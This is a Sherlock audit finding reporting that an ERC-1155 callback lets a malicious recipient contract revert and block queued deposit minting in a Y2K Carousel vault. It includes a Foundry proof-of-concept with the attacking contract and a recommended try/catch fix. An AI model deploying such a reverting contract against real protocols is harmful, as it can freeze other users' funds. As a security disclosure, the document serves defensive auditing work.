warRoom - ERC1155 callback can cause critical griefing attack

[sherlock-admin]

warRoom

high

ERC1155 callback can cause critical griefing attack

Summary

ERC-1155 mint functionality has a callback to the recipient's contract which can have malicious code.

Vulnerability Detail

Where : In mintDepositInQueue()

When : During ERC-1155 callback

Description :

• While processing deposits in mintDepositInQueue() function users get minted ERC-1155 tokens.
• _mint() function of ERC-1155 has inherent onERC1155Received() callback hook to recipient's contract.
• A malicious user can cause the callback function to always revert() which will halt the processing of deposits for other users as well.
• Although mintDepositInQueue() has operations argument to continue deposits were left off, users depositing after the attacker are still vulnerable to the attack.

POC :

To run : forge test --match-test testDepositInQueue_POC -vv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "../Helper.sol";
import "../../../src/v2/Carousel/CarouselFactory.sol";
import "../../../src/v2/TimeLock.sol";
import "../../../src/v2/Carousel/Carousel.sol";
import "../../../src/v2/libraries/CarouselCreator.sol";
import "../../../src/v2/interfaces/ICarousel.sol";
import "../../../src/v2/VaultV2.sol";

contract maliciousUser {
    error AttackSuccessful();
    function onERC1155Received(address operator, address from, uint id, uint amount, bytes memory data) public returns (bytes4 response){
        console.log("Reverted due to griefing attack");
       revert ("Griefing attack successful"); 
    }
    }
    
contract CarouselTest is Helper { 
    using stdStorage for StdStorage;

    // VaultV2 vaultv2;
    Carousel vault;

    address controller = address(0x54);
    address relayer = address(0x55);
    address emissionsToken;
    uint256 relayerFee = 2 gwei;
    uint256 depositFee = 50;
    address USER3 = address(0x123);
    address USER4 = address(0x345);
    address USER5 = address(0x567);
    address USER6 = address(0x789);

    function setUp() public {

        vm.warp(1675884389);

        emissionsToken = address(new MintableToken("EmissionsToken", "etkn"));

        UNDERLYING = address(new MintableToken("UnderLyingToken", "utkn"));


        vault = new Carousel(
                Carousel.ConstructorArgs(
                        false,
                        UNDERLYING,
                        "Vault",
                        "v",
                        "randomURI",
                        TOKEN,
                        STRIKE,
                        controller,
                        TREASURY,
                        emissionsToken,
                        relayerFee,
                        depositFee
                )
        );


        // deal(UNDERLYING, address(this), 100 ether, true);

        deal(UNDERLYING, USER, 1000 ether, true);
        deal(UNDERLYING, USER2, 1000 ether, true);
        deal(UNDERLYING, USER3, 1000 ether, true);
        deal(UNDERLYING, USER4, 1000 ether, true);
        deal(UNDERLYING, USER5, 1000 ether, true);
        deal(UNDERLYING, USER6, 1000 ether, true);
    }

    function testDepositInQueue_POC() public {
        uint40 _epochBegin = uint40(block.timestamp + 1 days);
        uint40 _epochEnd = uint40(block.timestamp + 2 days);
        uint _epochId = 2;
        uint _emissions = 1000 ether;

        deal(emissionsToken, address(vault), 1000 ether, true);
        vault.setEpoch(_epochBegin, _epochEnd, _epochId);
        vault.setEmissions( _epochId, _emissions);

        // POC - Griefing Attack ---------------------------------------------------
        vm.startPrank(USER3);
        IERC20(UNDERLYING).approve(address(vault), 10 ether);
        maliciousUser _maliciousUser = new maliciousUser();
        vault.deposit(0, 10 ether, address(_maliciousUser));
        vm.stopPrank();
       // --------------------------------------------------------------------------

        vm.startPrank(USER);
        IERC20(UNDERLYING).approve(address(vault), 10 ether);
        vault.deposit(0, 10 ether, USER);
        vm.stopPrank();

        vm.startPrank(USER2);
        IERC20(UNDERLYING).approve(address(vault), 10 ether);
        vault.deposit(0, 10 ether, USER2);
        vm.stopPrank();

        uint256 _queueLength = 3;
        assertEq(vault.getDepositQueueLenght(), _queueLength);
        // test revert cases
        // should revert if epochId is 0 as this epoch is not supposed to minted ever
        vm.expectRevert("Griefing attack successful");
        vault.mintDepositInQueue(_epochId, _queueLength);
    
        }

The above script should pass :

Impact

1. As mintDepositInQueue loops through all the deposits, reverting will cause the processing of other user's deposits to fail, despite the underlying assets of these users already transferred to vault.
2. Potential permanent freezing of user funds.

Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L310-L355

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/3f610ebc25480bf6145e519c96e2f809996db8ed/contracts/token/ERC1155/ERC1155.sol#L447-L460

Tool used

Manual Review

Recommendation

Implement try and catch inside mintDepositInQueue() around _mintShares().

Duplicate of #468